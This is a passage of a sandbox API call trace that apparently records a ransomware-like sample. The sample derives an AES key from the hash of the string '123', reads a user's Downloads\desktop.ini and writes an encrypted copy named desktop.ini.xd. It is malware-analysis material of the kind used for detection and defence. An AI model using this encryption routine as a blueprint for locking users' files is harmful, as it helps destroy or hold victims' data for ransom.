wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.627] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.627] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.627] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.758] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.758] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.758] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0059.759] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0059.759] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0059.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0059.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0059.759] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0059.763] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0059.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629510, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0059.763] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.763] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.763] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.763] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0059.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0059.764] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0059.764] CryptHashData (hHash=0x164c9b0, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0059.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.764] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.764] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.764] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0059.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0059.765] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0059.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.765] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.765] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0059.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0059.766] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0059.766] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0059.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.766] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0059.767] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.767] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0059.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.767] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads")) returned 0x11 [0059.767] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0059.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.774] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0059.774] ReadFile (in: hFile=0x3bc, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x11a, lpOverlapped=0x0) returned 1 [0059.774] ReadFile (in: hFile=0x3bc, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0059.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.780] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0059.780] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.780] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.780] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0059.780] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.780] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0059.780] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.780] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.780] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.780] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0059.781] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0059.781] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0059.781] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x16294d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0059.781] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.781] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0059.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.781] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.782] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.782] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.782] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.782] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.782] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.782] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.783] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.783] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.783] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.783] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.783] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x11a, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x120) returned 1 [0059.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.783] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.783] CharLowerBuffW (in: lpsz="byte[289]", cchLength=0x9 | out: lpsz="byte[289]") returned 0x9 [0059.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.784] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.784] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0059.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ba0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0059.784] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0059.784] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x163fd60*, pdwDataLen=0x130e618*=0x11a, dwBufLen=0x120 | out: pbData=0x163fd60*, pdwDataLen=0x130e618*=0x120) returned 1 [0059.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.784] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.785] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.788] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.788] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.788] CharUpperBuffW (in: 